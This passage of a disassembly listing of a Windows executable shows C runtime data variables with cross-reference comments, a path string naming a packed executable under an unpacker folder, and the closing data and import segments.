dword_4DBA00 dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+5Cr
; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r ...
dword_4DBA04 dd 0 ; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *)+7Ar
; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *)+5r
dword_4DBA08 dd 0 ; DATA XREF: sub_42255C+29r
dword_4DBA0C dd 2 dup(0) ; DATA XREF: unknown_libname_4+Co
; int dword_4DBA14
dword_4DBA14 dd 0 ; DATA XREF: __strupr+4r __strupr+6Er ...
dd 3 dup(0)
dword_4DBA24 dd 0 ; DATA XREF: _mbstowcs+61r
; _mbstowcs+BFr ...
dd 0
dword_4DBA2C dd 1 ; DATA XREF: ___crtLCMapStringA+28r
; ___crtLCMapStringA+4Cw ...
dword_4DBA30 dd 0 ; DATA XREF: __XcptFilter+3Ar
; __XcptFilter+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_422F9Ao
; .data:off_4DB990o
align 10h
dd 3Ah dup(0)
dword_4DBB38 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r
; ___crtGetEnvironmentStringsA+23w ...
dword_4DBB3C dd 0 ; DATA XREF: __FF_MSGBANNER+21r
dword_4DBB40 dd 0 ; DATA XREF: __openfile+154w
; __stbuf:loc_42046Fw ...
dword_4DBB44 dd 0 ; DATA XREF: __openfile+7r
dword_4DBB48 dd 1 ; DATA XREF: ___crtGetStringTypeA+26r
; ___crtGetStringTypeA:loc_423D56w
align 10h
word_4DBB50 dw 0 ; DATA XREF: __fltout+1Ao __fltout+46r
byte_4DBB52 db 0 ; DATA XREF: __fltout+39r
align 4
dword_4DBB54 dd 7 dup(0) ; DATA XREF: __fltout+52o
dword_4DBB70 dd 0 ; DATA XREF: __fltout+40w __fltout+5Co
dword_4DBB74 dd 0 ; DATA XREF: __fltout+4Dw
dword_4DBB78 dd 0 ; DATA XREF: __fltout+31w
dword_4DBB7C dd 0 ; DATA XREF: __fltout+52w
; int (__stdcall *dword_4DBB80)()
dword_4DBB80 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_42472Fr
; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ...
align 8
dword_4DBB88 dd 0 ; DATA XREF: __tzset+11w __tzset+63w ...
align 10h
dword_4DBB90 dd 0 ; DATA XREF: __tzset+33o __tzset+46r
dword_4DBB94 dd 10h dup(0) ; DATA XREF: __tzset+C1o
word_4DBBD4 dw 0 ; DATA XREF: __isindst+A8r
word_4DBBD6 dw 0 ; DATA XREF: __tzset+54r __isindst+DBr ...
word_4DBBD8 dw 0 ; DATA XREF: __isindst+CAr
word_4DBBDA dw 0 ; DATA XREF: __isindst+D3r
; __isindst:loc_424B3Cr
word_4DBBDC dw 0 ; DATA XREF: __isindst+C0r
word_4DBBDE dw 0 ; DATA XREF: __isindst+B8r
word_4DBBE0 dw 0 ; DATA XREF: __isindst+B0r
word_4DBBE2 dw 0 ; DATA XREF: __isindst+9Er
dword_4DBBE4 dd 0 ; DATA XREF: __tzset+4Br
dword_4DBBE8 dd 10h dup(0) ; DATA XREF: __tzset+FBo
word_4DBC28 dw 0 ; DATA XREF: __isindst+46r
word_4DBC2A dw 0 ; DATA XREF: __tzset:loc_424863r
; __isindst+78r ...
word_4DBC2C dw 0 ; DATA XREF: __isindst+67r
word_4DBC2E dw 0 ; DATA XREF: __isindst+70r
; __isindst:loc_424ACEr
word_4DBC30 dw 0 ; DATA XREF: __isindst+5Dr
word_4DBC32 dw 0 ; DATA XREF: __isindst+55r
word_4DBC34 dw 0 ; DATA XREF: __isindst+4Dr
word_4DBC36 dw 0 ; DATA XREF: __isindst+3Er
dword_4DBC38 dd 0 ; DATA XREF: __tzset+80r
; char *dword_4DBC3C
dword_4DBC3C dd 0 ; DATA XREF: __tzset+132r
; __tzset:loc_424938r ...
dword_4DBC40 dd 0 ; DATA XREF: ___tzsetr ___tzset+Ew
dword_4DBC44 dd 0 ; DATA XREF: ___crtMessageBoxA+3r
; ___crtMessageBoxA+2Ew ...
dword_4DBC48 dd 0 ; DATA XREF: ___crtMessageBoxA+43w
; ___crtMessageBoxA:loc_424DC7r
dword_4DBC4C dd 0 ; DATA XREF: ___crtMessageBoxA+4Aw
; ___crtMessageBoxA+60r
dword_4DBC50 dd 0 ; DATA XREF: __sopen+3Fr
dword_4DBC54 dd 0 ; DATA XREF: _raise:loc_4259BCr
; _raise+6Do
dword_4DBC58 dd 0 ; DATA XREF: _raise:loc_425993r
; _raise+44o
dword_4DBC5C dd 0 ; DATA XREF: _raise:loc_425986r
; _raise+37o
dword_4DBC60 dd 0 ; DATA XREF: _raise:loc_4259A0r
; _raise+51o
align 8
dword_4DBC68 dd 0 ; DATA XREF: ___crtCompareStringA+28r
; ___crtCompareStringA+48w ...
dword_4DBC6C dd 0 ; DATA XREF: ___crtLCMapStringW+28r
; ___crtLCMapStringW+4Cw ...
dword_4DBC70 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r
; ___crtGetStringTypeW:loc_426C7Dw
byte_4DBC74 db 1 ; DATA XREF: unknown_libname_1r
; unknown_libname_1+9w
align 4
dword_4DBC78 dd 921110h ; DATA XREF: _flsall:loc_41DC01r
; __getstream+14r ...
align 10h
dword_4DBC80 dd 400h dup(0) ; DATA XREF: .data:off_43D0C8o
; .data:0043D0D0o
; size_t Size
Size dd 200h ; DATA XREF: _flsall+9r _flsall+56r ...
dd 7 dup(0)
dword_4DCCA0 dd 920650h ; DATA XREF: __filbuf+75r __read+2Ar ...
dword_4DCCA4 dd 3Fh dup(0) ; DATA XREF: __ioinit+92o
dword_4DCDA0 dd 20h ; DATA XREF: __close+8r __read+Cr ...
dword_4DCDA4 dd 4E4h ; DATA XREF: __setmbcp+14r
; __setmbcp+65w ...
align 10h
dword_4DCDB0 dd 3 dup(0) ; DATA XREF: __setmbcp+123o
; __setmbcp+171o ...
dword_4DCDBC dd 0 ; DATA XREF: __setmbcp+108w
; __setmbcp+15Dw ...
byte_4DCDC0 db 0 ; DATA XREF: _setSBUpLow:loc_4201F4w
; _setSBUpLow:loc_420211w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DCEC0 db 0 ; DATA XREF: __setmbcp+5Co
; __setmbcp+AFo ...
byte_4DCEC1 db 0 ; DATA XREF: __splitpath+5Dr
; __setmbcp+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DCFC4 dd 0 ; DATA XREF: __setmbcp+6Ew
; __setmbcp+12Bw ...
dword_4DCFC8 dd 0 ; DATA XREF: ___sbh_heap_init+3Cw
; ___sbh_alloc_new_region+5r ...
dword_4DCFCC dd 0 ; DATA XREF: sub_41DEA2+23Ar
; sub_41DEA2+25Ar ...
dword_4DCFD0 dd 0 ; DATA XREF: ___sbh_heap_init+31w
; sub_41DEA2+311w ...
; void *Dst
Dst dd 0 ; DATA XREF: ___sbh_heap_init+21w
; sub_41DEA2+22Dr ...
dword_4DCFD8 dd 0 ; DATA XREF: ___sbh_heap_init+28w
; ___sbh_find_blockr ...
dword_4DCFDC dd 0 ; DATA XREF: ___sbh_heap_init+15w
; ___sbh_find_block+8r ...
dword_4DCFE0 dd 0 ; DATA XREF: sub_41B202+5Cr
; sub_41B513+Fr ...
dword_4DCFE4 dd 920000h ; DATA XREF: sub_41B0B1+5Ar
; sub_41B202+C0r ...
dword_4DCFE8 dd 1 ; DATA XREF: sub_41B0B1+Cr
; sub_41B202:loc_41B232r ...
dword_4DCFEC dd 142340h ; DATA XREF: start+7Aw __wincmdln+Fr ...
dword_4DCFF0 dd 1 ; DATA XREF: __setenvp+ADw _getenvr
dword_4DCFF4 dd 1 ; DATA XREF: ___initmbctabler
; ___initmbctable+11w ...
dword_4DCFF8 dd 92075Ch ; DATA XREF: _doexit+3Er __onexit+13r ...
; void *dword_4DCFFC
dword_4DCFFC dd 920758h ; DATA XREF: _doexit+35r _doexit+57r ...
_data ends
; Section 4. (virtual address 000DD000)
; Virtual size : 00000018 ( 24.)
; Section size in file : 00000018 ( 24.)
; Offset to raw data for section: 000DD000
; Flags C0000240: Data Comment Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_sxdata segment para public 'DATA' use32
assume cs:_sxdata
;org 4DD000h
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h
_sxdata ends
; Section 5. (virtual address 000DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000DD200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4DE000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start